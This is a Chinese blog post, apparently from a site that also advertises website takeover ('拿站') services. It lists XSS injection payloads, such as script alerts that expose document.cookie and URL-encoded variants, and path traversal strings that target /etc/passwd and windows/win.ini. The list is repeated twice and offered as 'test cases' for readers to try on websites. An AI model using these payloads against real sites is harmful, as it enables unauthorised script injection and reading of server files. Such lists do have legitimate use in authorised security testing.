欢迎来到Heck's Blog，专业承接拿站、企业建站、仿站、网上商城架构、门户网站搭建、空间域名注册、软件定制等项目。关注网络安全，因为专注，所以专业，懂得放弃，才能收获。有事请发邮件至i@heckjj.com，请记住本站网址：http://www.heckjj.com，多谢。
10月25
很多网站存在xss 跨站脚本漏洞，下面的安全测试测用例还是挺管用的，能够查找和发现潜在的bug，大家可以试试看吧。
<script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
%3Cscript%3Ealert('XSS')%3C/script%3E
<script>alert('XSS')</script>
<img src="javascript:alert('XSS')">
%0a%0a<script>alert(\"Vulnerable\")</script>.jsp
%22%3cscript%3ealert(%22x ss%22)%3c/script%3e
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
%3c/a%3e%3cscript%3ealert(%22x ss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22x ss%22)%3c/script%3e
%3cscript%3ealert(%22x ss%22)%3c/script%3e/index.html
<script>alert('Vulnerable');</script>
<script>alert('Vulnerable')</script>
<script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
%3Cscript%3Ealert('XSS')%3C/script%3E
<script>alert('XSS')</script>
<img src="javascript:alert('XSS')">
%0a%0a<script>alert(\"Vulnerable\")</script>.jsp
%22%3cscript%3ealert(%22x ss%22)%3c/script%3e
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
%3c/a%3e%3cscript%3ealert(%22x ss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22x ss%22)%3c/script%3e
%3cscript%3ealert(%22x ss%22)%3c/script%3e/index.html
<script>alert('Vulnerable');</script>
<script>alert('Vulnerable')</script>
